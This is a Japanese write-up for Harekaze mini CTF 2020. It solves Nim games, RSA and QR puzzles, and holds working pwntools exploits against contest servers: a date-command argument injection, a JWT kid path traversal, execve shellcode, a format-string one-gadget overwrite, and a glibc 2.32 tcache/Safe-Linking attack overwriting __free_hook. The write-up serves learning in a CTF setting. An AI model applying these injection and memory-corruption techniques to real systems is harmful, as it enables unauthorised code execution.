Harekaze mini CTF 2020 write-up

* https://ctf.harekaze.com/
* https://github.com/TeamHarekaze/harekaze-mini-ctf-2020-challenges-public

2292点、10位。

![ctf.harekaze.com_challenges(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/6b2d4eda-9219-b78d-8f78-24e552b7ec2d.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/6ff6705d-0096-be01-9138-60f327eda4eb.png)

![ctf.harekaze.com_team(capture (1280)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/fec45aa9-a13d-781b-5a23-744786482055.png)

スコアがマイナスの問題（とはいえ、書かれているフラグを入力するだけ）がある。「何これ？」と思ったけど、このCTFは「初心者向けのCTF」で、上級者がみんなさっさと全完して初心者がやる気を無くすというのを防ぐためか。

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">Harekaze mini CTF 2020のCoolFlag、CTFはじめたてのときにTDUCTFに参加しておにーさんおねーさんがめちゃ格好良かった記憶があるので、初心者向けCTFということで導入してみたんですよね。動的配点でうまくやるのは難しい<a href="https://t.co/XqBfHnqdm8">https://t.co/XqBfHnqdm8</a></p>&mdash; ctf.harekaze.com (@theoremoon) <a href="https://twitter.com/theoremoon/status/1343013179027144705?ref_src=twsrc%5Etfw">December 27, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

そんな心配は要らない順位表に見えるが…… :rolling_eyes:　せめて、全完したあとにマイナス点を入れたチームに勝てるくらいの点数は取りたかった……。

## Misc

### Welcome (warmup)

> Harekaze mini CTF 2020へようこそ! フラグは `HarekazeCTF{4nch0rs_4we1gh}` です。

`HarekazeCTF{4nch0rs_4we1gh}`

### NM Game (medium)

複数個の小石が詰まれた山が複数与えられて、1個の山を選び、1-3個の小石を取るということを交互に繰り返す。小石が取れなくなる（全ての山がの小石が無くなる）と負け。

この手のゲームはNimといって、「Grundy数」という概念がある。説明は省略。このゲームのGrundy数は各山の小石の個数を4で割った余りのxor。それが相手の手番で0になる操作を繰り返せば良い。

全15ラウンドで、プレイヤーは常に先手。Grundy数が一様ランダムだと仮定すると、75%で先手必勝の盤面が来る。敵は最善手を打ってくるようで、75%とはいえ、15連続で先手必勝の確率は1%ちょっとだが…… :thinking: と悩んだけど、常に先手必勝の盤面しか来ないな。後の問題で「先程のAIは壊れていました」と言っているが、壊れている（？）のはゲームのほうか。常に先手必勝の盤面が来るならやるだけ。

```solve.py
from pwn import *

def solve(P):
  g = 0
  for p in P:
    g ^= p%4
  if g!=0:
    for p in range(len(P)):
      for n in range(1, min(4, P[p]+1)):
        if g^P[p]%4^(P[p]-n)%4==0:
          return (p, n, True)
  else:
    for p in range(len(P)):
      if P[p]>0:
        return (p, 1, False)

s = remote("20.48.84.64", 20001)

for i in range(15):
  print(s.recvuntil("Creating a new problem...\n").decode())
  while True:
    P = list(map(int, s.recvline().decode().split()))
    print(P)
    p, n, f = solve(P)
    print(p, n, f)
    if i>0:
      s.recvuntil(":")
      s.sendline(str(p))
    s.recvuntil(":")
    s.sendline(str(n))
    s.recvline()
    if sum(P)-n==0:
      break
print(s.recvline().decode())
print(s.recvline().decode())
```

```shell-session
$ python3 solve.py
[+] Opening connection to 20.48.84.64 on port 20001: Done
Be the last to take a pebble!
Creating a new problem...

[26]
0 2 True
[21]
0 1 True
[19]
0 3 True
[15]
0 3 True
[9]
0 1 True
[6]
0 2 True
[1]
0 1 True
Remaining games: 14
Creating a new problem...

[15, 13]
0 2 True
[12, 13]
0 3 True
 :
12 1 True
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5]
14 1 True
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1]
14 1 True
Remaining games: 0

Congratulations! Here is the flag: HarekazeCTF{pe6b1y_qRundY_peb6l35}
```

`HarekazeCTF{pe6b1y_qRundY_peb6l35}`

## Web

### What time is it now? (warmup)

指定した書式で現在日時を表示するサイト。ソースコードは、

```index.php
<?php
if (isset($_GET['source'])) {
  highlight_file(__FILE__);
  exit;
}

$format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S';
$result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1");
?>
<!doctype html>
<html lang="en">
  <head>
 :
```

引数のエスケープに使う関数は、`escapeshellcmd`ではなく`escapeshellarg`。ということで、引数を追加することはできる。`date`コマンドにはファイルから書式を読み込むオプションがある。`%H:%M:%S' -f '/flag.txt`を渡せば良い。

`HarekazeCTF{1t's_7pm_1n_t0ky0}`

### JWT is secure (easy)

> 独自に作ったセッション機能は脆弱性を作り込みがちだということを学んだので、今回はJWT (JSON Web Token)を採用しました。

ユーザーごとに`kid`をランダムに生成して、同じくランダムに生成した署名鍵を`kid`をファイル名として保存している。保存用のディレクトリには.htaccessがあってHTTPサーバー経由で読まれることは防がれている。

```.htaccess
deny from all
```

ん？　内容が既知のファイルが鍵を保存するディレクトリにあるな？　例えば、`kid`が`801e3e80982de27c`だと、`keys/8/0/801e3e80982de27c`に保存されるのけど、`/.htaccess`と指定すれば、`keys///./.htaccess`になる。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/db24be2a-d3d7-7615-968f-b7865fb343d4.png)

https://jwt.io/

これでフラグが覗ける。

`HarekazeCTF{l1st3n_1_just_g1v3_y0u_my_fl4g_4t4sh1_n0_w4v3_w0_t0b4sh1t3_m1ruk4r4}`

## Crypto

### rsa (easy)

これ面白かった。

```task.py
from Crypto.Util.number import getStrongPrime, getRandomRange

with open("flag", "rb") as f:
  flag = int.from_bytes(f.read(), "big")

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
phi = (p-1)*(q-1)
e = 65537
c1 = pow(flag, e, n)
c2 = pow(p + q, e, n)
c3 = pow(p - q, e, n)

print(f"{n=}")
print(f"{e=}")
print(f"{c1=}")
print(f"{c2=}")
print(f"{c3=}")
```

$c2=(p+q)^e$と$c3=(p-q)^e$について、$n=pq$の剰余なので、$pq$を含む項は$0$になる。つまり、

```math
c2 = p^e+q^e \mod n \\
c3=p^e-q^e \mod n \\
```

足し引きして、

```math
c2+c3=2p^e \mod n \\
c2-c3=2q^e \mod n
```

また、$(c2+c3)(c2-c3)=4(pq)^e=0 \mod n$。すなわち、$k$を整数として、$c2+c3=2p^e=kn$が成り立つ。両辺が$p$を素因数に持つので、最大公約数を求めると$p$になる。

```solve.py
from Crypto.Util.number import *
import math

n=133957491909745071464818932891535809774039075882486614948793786706389844163167535932401761676665761652470189326864929940531781069869721371517782821535706577114286987515166157005227505921885357696815641758531922874502352782124743577760141307924730988128098174961618373787528649748605481871055458498670887761203
e=65537
c1=35405298533157007859395141814145254094484385088710533905385734792407576252003080929963085838327711405177354982539867453717921912839308282313390558033140654288445877937672625603540090399691469218188262950682485682814224928528948502206046863184746747265896306678488587444125143233443450049838709221084210200357
c2=23394879596667385465597018769822552384439114548016006879565586102300995936951562766011707923675690015217418498865916391314367448706185724546566348496812451258316472754407976794025546555423254676274654957362894171995220230464953432393865332807738040967281350952790472772600745096787761443699676372681208295288
c3=54869102748428770635192859184579301467475982074831093316564134451063250935340131274147041633101346896954483059058671502582914428555153910133076778016989842641074276293354765141522703887273042367333036465503084165682591308676428523152462442280924054400997210800504726635778588407034149919869556306659386868798

p = math.gcd(c2+c3, n)
q = n//p
d = inverse(e, (p-1)*(q-1))
flag = pow(c1, d, n)
print(long_to_bytes(flag).decode())
```

`HarekazeCTF{RSA_m34n5_Rin_Shiretoko_Ango}`

### QR (easy)

```task.py
import qrcode

with open("flag", "r") as f:
  flag = f.read().strip()

qr = qrcode.QRCode(border=0)
qr.add_data(flag)
qr.make(fit=True)

matrix = qr.get_matrix()
matrix2 = [ [0 for _ in range(len(matrix) - 1) ] for _ in range(len(matrix) - 1)]

for y in range(len(matrix)-1):
  for x in range(len(matrix)-1):
    matrix2[y][x] = (matrix[y][x] + matrix[y+1][x] + matrix[y][x+1] + matrix[y+1][x+1]) % 4

print(matrix2)
```

QRコードの隣接する2x2マスの合計%4を求めている。元が33×33=1089 bitの情報量。変換後は、2x32x32=2048 bit。情報量が落ちているわけでも無いので、辻褄が合うか調べながら探索すれば良いだろう。1行目と1列目の分かる部分だけは固定した。

```solve.py
import sys

sys.setrecursionlimit(9999)

M2 = [[3, 2, 2, 2, 2, 3, 2, 1, 1, 1, 2, 2, 1, 1, 2, 3, 3, 3, 3, 2, 1, 1, 2, 3, 2, 2, 3, 2, 2, 2, 2, 3], [2, 1, 2, 2, 1, 2, 2, 0, 1, 2, 2, 3, 3, 1, 0, 2, 0, 0, 3, 2, 2, 1, 1, 3, 2, 2, 2, 1, 2, 2, 1, 2], [2, 2, 0, 0, 2, 2, 2, 1, 2, 3, 3, 3, 3, 2, 2, 2, 2, 3, 3, 2, 2, 2, 3, 0, 2, 2, 2, 2, 0, 0, 2, 2], [2, 2, 0, 0, 2, 2, 2, 2, 3, 3, 3, 3, 2, 2, 3, 1, 1, 3, 3, 3, 2, 2, 0, 0, 2, 2, 2, 2, 0, 0, 2, 2], [2, 1, 2, 2, 1, 2, 2, 2, 0, 0, 2, 2, 3, 3, 2, 1, 2, 3, 3, 3, 2, 1, 2, 3, 2, 2, 2, 1, 2, 2, 1, 2], [3, 2, 2, 2, 2, 3, 2, 2, 3, 3, 2, 2, 3, 3, 2, 2, 2, 2, 3, 3, 2, 1, 1, 2, 2, 2, 3, 2, 2, 2, 2, 3], [2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 1, 1, 1, 2, 3, 3, 3, 2, 2, 3, 3, 3, 3, 2, 1, 2, 2, 2, 2, 2, 2], [1, 0, 0, 1, 1, 1, 2, 3, 2, 1, 1, 1, 1, 1, 2, 2, 3, 3, 2, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 1, 0, 1], [2, 1, 0, 1, 2, 2, 2, 3, 3, 2, 1, 2, 3, 2, 2, 2, 3, 3, 2, 2, 1, 2, 3, 2, 3, 3, 3, 3, 2, 2, 1, 1], [3, 3, 2, 2, 3, 3, 1, 1, 3, 3, 1, 2, 3, 1, 2, 3, 3, 0, 2, 1, 2, 3, 0, 3, 2, 2, 3, 2, 0, 1, 1, 0], [2, 3, 0, 0, 0, 3, 1, 0, 2, 2, 1, 3, 2, 1, 2, 1, 2, 0, 3, 3, 0, 3, 2, 2, 2, 2, 3, 2, 0, 0, 1, 1], [0, 2, 3, 2, 3, 3, 2, 2, 2, 1, 2, 3, 2, 3, 3, 1, 2, 0, 0, 0, 0, 3, 2, 1, 2, 3, 2, 2, 2, 1, 2, 3], [0, 2, 3, 2, 3, 3, 3, 3, 2, 2, 2, 1, 1, 2, 2, 2, 3, 3, 2, 2, 3, 0, 0, 3, 2, 2, 2, 2, 2, 2, 3, 3], [0, 2, 0, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 1, 2, 3, 2, 1, 1, 2, 2, 3, 0, 3, 1, 1, 1, 0, 2, 0, 2], [1, 3, 0, 3, 2, 2, 2, 3, 3, 1, 1, 3, 0, 0, 2, 1, 2, 2, 2, 3, 3, 1, 1, 2, 3, 2, 0, 0, 0, 1, 2, 1], [3, 3, 3, 0, 3, 2, 1, 2, 3, 1, 0, 1, 3, 0, 3, 2, 3, 2, 1, 2, 3, 3, 1, 0, 1, 2, 2, 2, 1, 0, 1, 1], [3, 2, 2, 3, 0, 3, 2, 3, 3, 2, 2, 1, 2, 3, 2, 3, 3, 2, 1, 1, 3, 0, 3, 1, 1, 3, 0, 3, 1, 1, 2, 1], [3, 2, 2, 2, 2, 2, 3, 0, 2, 1, 3, 2, 1, 2, 2, 3, 3, 3, 2, 2, 0, 0, 0, 2, 2, 3, 2, 2, 2, 3, 2, 0], [0, 2, 1, 2, 1, 1, 3, 0, 2, 0, 1, 2, 2, 3, 3, 3, 0, 3, 2, 3, 0, 3, 2, 2, 3, 2, 1, 3, 3, 2, 2, 1], [3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 2, 3, 2, 1, 3, 2, 1, 2, 2, 2, 1, 1, 2, 2, 3, 3, 1, 0, 2, 3], [3, 3, 2, 1, 2, 3, 2, 2, 2, 3, 3, 2, 1, 1, 1, 0, 2, 3, 2, 1, 1, 3, 3, 2, 1, 2, 0, 2, 1, 1, 2, 0], [2, 2, 1, 0, 2, 3, 3, 3, 2, 3, 0, 3, 1, 0, 1, 1, 1, 2, 2, 1, 2, 0, 0, 3, 1, 1, 2, 1, 2, 3, 3, 3], [0, 2, 3, 2, 2, 2, 3, 2, 0, 2, 3, 1, 0, 1, 3, 2, 1, 2, 2, 2, 3, 3, 2, 1, 1, 2, 2, 2, 2, 2, 2, 2], [2, 3, 0, 3, 1, 1, 2, 2, 1, 2, 2, 1, 2, 2, 3, 3, 2, 2, 2, 2, 3, 2, 0, 1, 3, 0, 0, 0, 2, 0, 1, 2], [2, 2, 2, 1, 0, 1, 1, 2, 2, 2, 2, 1, 3, 2, 2, 0, 3, 1, 1, 1, 2, 3, 1, 2, 3, 2, 2, 3, 3, 2, 2, 1], [2, 2, 2, 2, 2, 2, 1, 2, 3, 2, 1, 0, 1, 1, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2, 1, 1, 2, 3, 2, 1, 0], [3, 2, 2, 2, 2, 3, 2, 1, 2, 1, 0, 0, 1, 2, 3, 3, 2, 2, 1, 2, 3, 1, 1, 3, 2, 1, 1, 2, 2, 0, 0, 0], [2, 1, 2, 2, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2, 2, 3, 0, 2, 1, 3, 0, 3, 1, 2, 3, 2, 2, 3, 2, 0, 0, 1], [2, 2, 0, 0, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 3, 0, 3, 2, 2, 2, 2, 1, 2, 3, 3, 3, 3, 3, 2, 1, 1], [2, 2, 0, 0, 2, 2, 2, 0, 2, 2, 0, 1, 2, 2, 3, 0, 3, 3, 2, 1, 2, 2, 1, 1, 2, 2, 1, 2, 3, 3, 2, 0], [2, 1, 2, 2, 1, 2, 2, 0, 2, 2, 0, 2, 3, 2, 3, 3, 2, 3, 2, 1, 3, 0, 2, 1, 3, 3, 1, 1, 2, 2, 1, 0], [3, 2, 2, 2, 2, 3, 2, 1, 2, 2, 1, 1, 2, 3, 3, 2, 3, 3, 1, 0, 2, 0, 3, 3, 3, 2, 1, 1, 3, 2, 0, 1]]
M = [[0]*33 for _ in range(33)]

F = {
  (0, 0): 1,
  (0, 1): 1,
  (0, 2): 1,
  (0, 3): 1,
  (0, 4): 1,
  (0, 5): 1,
  (0, 6): 1,
  (0, 7): 0,
  (0, 25): 0,
  (0, 26): 1,
  (0, 27): 1,
  (0, 28): 1,
  (0, 29): 1,
  (0, 30): 1,
  (0, 31): 1,
  (0, 32): 1,
  (1, 0): 1,
  (2, 0): 1,
  (3, 0): 1,
  (4, 0): 1,
  (5, 0): 1,
  (6, 0): 1,
  (7, 0): 0,
  (25, 0): 0,
  (26, 0): 1,
  (27, 0): 1,
  (28, 0): 1,
  (29, 0): 1,
  (30, 0): 1,
  (31, 0): 1,
  (32, 0): 1,
}

def f(p):
  x = p%33
  y = p//33
  if (x, y)==(32, 32):
    for m in M:
      print("".join(" #"[c] for c in m))
    print
    return

  for i in range(2):
    if (x, y) in F and F[(x, y)]!=i:
      continue
    M[y][x] = i
    if y>0 and x>0:
      c = M[y-1][x-1]+M[y-1][x]+M[y][x-1]+M[y][x]
      if c%4!=M2[y-1][x-1]:
        continue
    f(p+1)
f(0)
```

```shell-session
$ python3 solve.py
####### # #   ### #   ### #######
#     #    ##   #####   # #     #
# ### #  ## ##  ###  # ## # ### #
# ### # # ### ##  ### ### # ### #
# ### # ### # #  ## # ### # ### #
#     # ### ### # ###   # #     #
####### # # # # # # # # # #######
        # #    #### #####
#   # ###   # #  # ## # ######  #
 #   #  ### ## ####   ## # #  #
#######  #  #  # ## ##### ##
  ####   # ## #  #####   # #   #
  #  ####  # ### ####### ## ## ##
  #### # ##     ##   ####  #  ##
  ## ##### #### # # #  ###    ##
 ####   #   ###  # ###   #
## #### ##   #####   ##   ###  #
# # ## ## ## #  # # #### ###  #
## #  ###  #  ##### #### #  ###
##  #  ##   ### ## ###  ## ##  #
 ### ##   #   #  #    #   ##   ##
##   # ######    ### #### ## # ##
  #  ###  ##   #     ###     ###
  ###  #  #   ## #####   ####   #
####  # # # ## ##    #  #####  #
        # #  # ### # ## #   ###
####### ##     #  # #  ## # #
#     #      #####  ##  #   #
# ### # # ###   ## #### #####   #
# ### #  #   ######     # # ###
# ### #  #  #  ## # ###  #  # #
#     #  #  #### ##  ## ###  #
####### # #   # ##   ####   ##
```

これを■と空白に置換して置換して読んだ。

`HarekazeCTF{d0_y0u_7hink_qr_ch4113ng3_i5_r3411y_in_d3m4nd}`

## Pwn

### Shellcode (warmup)

```shellcode.c
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

char binsh[] = "/bin/sh";

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    printf("Present for you! \"/bin/sh\" is at %p\n", binsh);
    puts("Execute execve(\"/bin/sh\", NULL, NULL)");

    char *code = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    // Clear rsp and rbp
    memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6);
    read(0, code + 6, 0x100);
    mprotect(code, 0x1000, PROT_READ | PROT_EXEC);

    ((void (*)())(code))();

    return 0;
}
```

送ったシェルコードを実行してくれるようなので、ググって出てきたシェルコードを送ったけれど動かない。あ、「Clear rsp and rbp」と書いてあった。スタックが使えないと。ちゃんと書きます。

```attack.py
from pwn import *

context.arch = "amd64"

s = remote("20.48.83.165", 20005)
s.send(asm(
"""
mov rdi, 0x404060
xor esi, esi
xor edx, edx
mov eax, 0x3b
syscall
"""
))

s.interactive()
```

```shell-session
$ python3 attack.py
[+] Opening connection to 20.48.83.165 on port 20005: Done
[*] Switching to interactive mode
Present for you! "/bin/sh" is at 0x404060
Execute execve("/bin/sh", NULL, NULL)
$ cat /home/shellcode/flag
HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}
```

`HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}`

### NM Game Extreme (easy)

> 残念ながら、先程のAIは壊れていました。なのでゲームの方に調整を…

こっちはAIが単なるランダム。その代わり、400ラウンド。ま、手作業で解くわけでもないしやるだけ……かと思いきや、1ラウンドごとに1秒のスリープがあって、制限時間が全部で300秒。

山を選択する部分の添え字のチェックが抜けている。-4の位置に残りラウンド数があるので、これを削れば良い。

最初の山が1個のラウンドは山の選択肢が出てこないので、ここは普通に勝ち、そこで、

```
-4
2
-4
2
 :
```

を396個分繰り返したのを貼り付け、後は普通に頑張る。というのを手作業でやった。

```
$ nc 20.48.84.13 20003
Be the last to take a pebble!
Creating a new problem...
31
How many pebbles do you want to take? [1-3]: 3
The opponent took 1 from 0
27
How many pebbles do you want to take? [1-3]: 3
The opponent took 2 from 0
22
How many pebbles do you want to take? [1-3]: 2
The opponent took 2 from 0
18
How many pebbles do you want to take? [1-3]: 2
The opponent took 1 from 0
15
How many pebbles do you want to take? [1-3]: 3
The opponent took 2 from 0
10
How many pebbles do you want to take? [1-3]: 2
The opponent took 3 from 0
5
How many pebbles do you want to take? [1-3]: 1
The opponent took 1 from 0
3
How many pebbles do you want to take? [1-3]: 3
Won!
Remaining games: 399
Creating a new problem...
43 23
Choose a heap [0-1]: -4
2
-4
2
-4
2
-4
2
-4
 :
How many pebbles do you want to take? [1-3]: 3
The opponent took 2 from 14
0 0 0 0 0 0 0 0 0 0 0 0 0 0 2
Choose a heap [0-14]: 14
How many pebbles do you want to take? [1-2]: 2
Won!
Remaining games: 0
Congratulations! Here is the flag: HarekazeCTF{1o0ks_lik3_w3_mad3_A_m1st4ke_ag41n}
```

`HarekazeCTF{1o0ks_lik3_w3_mad3_A_m1st4ke_ag41n}`

### Kodama (medium)

```kodama.c
#include <stdio.h>

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    puts(" /$$     /$$ /$$$$$$  /$$   /$$ /$$   /$$  /$$$$$$   /$$$$$$   /$$$$$$  /$$ /$$");
    puts("|  $$   /$$//$$__  $$| $$  | $$| $$  | $$ /$$__  $$ /$$__  $$ /$$__  $$| $$| $$");
    puts(" \\  $$ /$$/| $$  \\ $$| $$  | $$| $$  | $$| $$  \\ $$| $$  \\ $$| $$  \\ $$| $$| $$");
    puts("  \\  $$$$/ | $$$$$$$$| $$$$$$$$| $$$$$$$$| $$  | $$| $$  | $$| $$  | $$| $$| $$");
    puts("   \\  $$/  | $$__  $$| $$__  $$| $$__  $$| $$  | $$| $$  | $$| $$  | $$|__/|__/");
    puts("    | $$   | $$  | $$| $$  | $$| $$  | $$| $$  | $$| $$  | $$| $$  | $$        ");
    puts("    | $$   | $$  | $$| $$  | $$| $$  | $$|  $$$$$$/|  $$$$$$/|  $$$$$$/ /$$ /$$");
    puts("    |__/   |__/  |__/|__/  |__/|__/  |__/ \\______/  \\______/  \\______/ |__/|__/");
    puts("");

    char buf[0x20];

    for (int i = 0; i < 2; i++) {
        fgets(buf, 0x20, stdin);
        printf(buf);
    }
    return 0;
}
```

これだけ。シンプルな書式文字列攻撃。

まずは、スタックとlibcのアドレスを適当にリークさせる。文字列長が0x20文字で2回は厳しすぎるので、`i`の最上位バイトを`80`に書き換えて負数にして回数を増やす。リターンアドレスをOne-gadget RCEに書き換える。`i`の最上位バイトを`00`に戻して、ループを抜ける。

この手の問題ではlibcがどのようにレジスタやスタックを使うのかが重要。

```shell-session
$ cp kodama kodama2
$ patchelf --set-rpath ./ kodama2`
```

で書き換えれば、WSLのUbuntu 18.04でも問題のlibcで動いた。便利。

```attack.py
from pwn import *
from struct import *

#s = remote("localhost", 7777)
s = remote("20.48.81.63", 20002)
for _ in range(9):
  s.recvline()

s.sendline("%4$lx %15$lx")
stack, libc = [int(x, 16) for x in s.recvline().split()]
print(hex(stack), hex(libc))

s.sendline(b"%128c%10$hhn    "+pack("<Q", stack-1))

rce = libc-0x28cb2+0xdf54f
for i in range(3):
  payload = f"%{rce>>(i*8)&0xff}c%10$hhn".ljust(16)
  payload = payload.encode()+pack("<Q", stack+0x38+i)
  s.sendline(payload)
  s.recv()

s.sendline(b"%10$hhn         "+pack("<Q", stack-1))
s.recv()

s.interactive()
```

```shell-session
$ python3 attack.py
[+] Opening connection to 20.48.81.63 on port 20002: Done
0x7ffc8a3dfc00 0x7f22b4491cb2
[*] Switching to interactive mode
         \xff\xf
$ cat /home/kodama/flag
HarekazeCTF{n0_moun741n_no_3ch0}
```

`HarekazeCTF{n0_moun741n_no_3ch0}`

### Safe Note (medium-hard)

```safenote.c
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX_NOTES 7
#define MAX_SIZE 0x70

void getnline(char *buf, int size) {
    int len = 0;
    for (int i = 0; i < size-1; i++) {
        len += read(0, buf + i, 1);
        if (buf[i] == '\n') {
            len--;
            break;
        }
    }
    buf[len] = '\0';
}

int getint(void) {
    char buf[0x10];
    getnline(buf, 0x10);

    return atoi(buf);
}

void error(char *message) {
    fprintf(stderr, "%s\n", message);
    exit(-1);
}

int menu(void) {
    puts("1. Alloc");
    puts("2. Show");
    puts("3. Move");
    puts("4. Copy");
    printf("> ");

    return getint();
}

typedef struct {
    char *buf;
    unsigned int size;
} Note;

Note notes[MAX_NOTES];

void alloc(void) {
    printf("Index: ");
    unsigned int index = getint();
    if (index >= MAX_NOTES) {
        error("Invalid index");
    }
    printf("Size: ");
    unsigned int size = getint();
    if (size == 0 || size > MAX_SIZE) {
        error("Invalid size");
    }
    notes[index].buf = malloc(size);
    notes[index].size = size;
    printf("Content: ");
    getnline(notes[index].buf, size);
}

void show(void) {
    printf("Index: ");
    unsigned int index = getint();
    if (index >= MAX_NOTES || notes[index].buf == NULL) {
        error("Invalid index");
    }
    puts(notes[index].buf);
}

void copy(bool delete_src) {
    printf("Index (src): ");
    unsigned int src = getint();
    if (src >= MAX_NOTES || notes[src].buf == NULL) {
        error("Invalid index");
    }

    printf("Index (dest): ");
    unsigned int dest = getint();
    if (dest >= MAX_NOTES) {
        error("Invalid index");
    }

    char *p = NULL;
    if (notes[dest].buf == NULL) {
        p = malloc(notes[src].size);
    } else if (notes[dest].size >= notes[src].size) {
        p = notes[dest].buf;
    } else {
        error("No enough space");
    }
    memcpy(p, notes[src].buf, notes[src].size);

    if (delete_src) {
        free(notes[src].buf);
        notes[src].buf = NULL;
    }
    notes[dest].buf = p;
    notes[dest].size = notes[src].size;
}

int main(void) {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    for (;;) {
        switch (menu()) {
            case 1:
                alloc();
                break;
            case 2:
                show();
                break;
            case 3:
                copy(true);
                break;
            case 4:
                copy(false);
                break;
            default:
                puts("Bye");
                exit(0);
        }
    }

    return 0;
}
```

Freeが無く、代わりにMoveとCopyがある。Moveの動きが変わっていて、移動先のバッファが確保されていなければ`malloc`、移動先のバッファが充分なサイズで確保されていればそのままコピー、バッファが確保されていてサイズが足りないとエラー。MoveとCopyの違いは、コピー後に元のバッファを`free`するかしないかだけ。

glibc 2.32なので、Safe-Linkingが有効。

[【pwn 32\.0】glibc2\.32 Safe\-Linking とその Bypass の概観 \- newbieからバイナリアンへ](https://smallkirby.hatenablog.com/entry/safeunlinking)

Safe-Linkingは、tcacheとfastbinの単方向リストにチャンクを繋ぐ際、アドレスそのままではなく、**格納先の**アドレスを12bit（1ページ、4 KiB分）右シフトした値をxorするもの。格納先はヒープ上にあって、ヒープを4 KiBも使うことなんてあまりないので、固定の値でxorすれば良い。Safe-Linkingにビビっていたけど、意外とたいしたことないな。

その他の部分が難しかった。まず、脆弱性が分からない。ヒープバッファオーバフローも無ければ、double freeも無さそうに見える。

`src=dest`でMoveすれば良いのか。`src=dest=x`とすると、

```.c
char *p = notes[x].buf;

free(notes[x].buf);
notes[x].buf = NULL;

notes[x].buf = p;
```

となって、アドレスが残るので、use after freeもdouble freeもできる。

unsortedに繋いで、libcのアドレスを得たいが、Noteがtcacheのサイズと同じ7個しかない。これはdouble freeすれば解決。

でも、確保できるチャンクの最大のサイズがfastbinに格納される上限のサイズの0x80バイトなので、unsortedには入れられない。ヒープのアドレスは先に得られるから、tcache unlink attackでチャンクのサイズを書き換えれば良い。

次の問題。unsortedのアドレスの下位8ビットが0で、`puts`で読み出せない。は？　サイズを大きく書き換えたunsrotedからチャンクを何個も切り出して、確保しようとしているチャンクよりもunsortedのほうが小さくなれば、そのチャンクはsmallbinに入るので、そこから読み出す。

libcのアドレスが得られれば、あとは`__free_hook`を`system`に書き換えて、`free("/bin/sh")`を呼び出すだけ。

libcだけ問題のを使うようにしても動かなかったから、

```
>docker run --rm -v C:\documents\ctf\harekaze2020:/host ubuntu:20.10 cp /lib/x86_64-linux-gnu/ld-2.32.so /host/
>wsl
$ patchelf --set-rpath ./ --set-interpreter ./ld-2.32.so safenote2
```

とDockerからld.soを持ってきたけど、Pwngdbの`heapinfo`とかが動かなかったし、libc 2.32の環境を用意したほうが早かった気がするな。

```attack.py
from pwn import *

context.arch = "amd64"

#s = remote("localhost", 7777)
s = remote("20.48.83.103", 20004)

def alloc(index, size, content):
  s.sendlineafter("> ", "1")
  s.sendlineafter("Index: ", str(index))
  s.sendlineafter("Size: ", str(size))
  s.sendlineafter("Content: ", content)

def show(index):
  s.sendlineafter("> ", "2")
  s.sendlineafter("Index: ", str(index))
  return s.recvline()[:-1]

def move(src, dest):
  s.sendlineafter("> ", "3")
  s.sendlineafter("Index (src): ", str(src))
  s.sendlineafter("Index (dest): ", str(dest))

def copy(src, dest):
  s.sendlineafter("> ", "4")
  s.sendlineafter("Index (src): ", str(src))
  s.sendlineafter("Index (dest): ", str(dest))

# 0x420のチャンクにする部分を確保
alloc(0, 0x70, "a")
for _ in range(7):
  alloc(1, 0x70, "a")
alloc(2, 0x70,
  pack(0)+pack(0)+
  # next.sizeとnext.next.sizeを正しくしておく
  pack(0)+pack(0x21)+
  pack(0)+pack(0)+
  pack(0)+pack(0x21))

# ヒープのアドレスを取得
alloc(3, 0x20, "a")
alloc(4, 0x20, "a")
move(3, 3)
move(4, 4)
heap = int.from_bytes(show(3), "little")<<12

# notes[0]のチャンクのサイズを0x420にする
alloc(6, 0x18, pack((heap+0x290)^heap>>12))
copy(6, 4)
alloc(4, 0x20, "a")
alloc(4, 0x20, pack(0)+pack(0x421))

# notes[0]のチャンクを解放してunsortedに繋ぐ
move(0, 0)

# notes[0]のチャンクからチャンクを切り出す
for _ in range(9):
  alloc(4, 0x70, "a")
# notes[2]の位置がsmallbinに格納される
libc = int.from_bytes(show(2), "little")-0x1e3c10
print(hex(libc))

# __free_hook = system
alloc(3, 0x20, "a")
alloc(4, 0x20, "a")
move(3, 3)
move(4, 4)
__free_hook = libc+0x1e6e40
alloc(6, 0x18, pack(__free_hook^heap>>12))
copy(6, 4)
alloc(4, 0x20, "a")
system = libc+0x503c0
alloc(4, 0x20, pack(system))

# free("/bin/sh")
alloc(0, 0x10, "/bin/sh")
move(0, 0)

s.interactive()
```

```shell-session
$ python3 attack.py
[+] Opening connection to 20.48.83.103 on port 20004: Done
0x7fe19dd7d000
[*] Switching to interactive mode
$ cat /home/safenote/flag
HarekazeCTF{7c4ch3_1s_5ti1l_9re47}
```

`HarekazeCTF{7c4ch3_1s_5ti1l_9re47}`

## Reversing

### Easy Flag Checker (warmup)

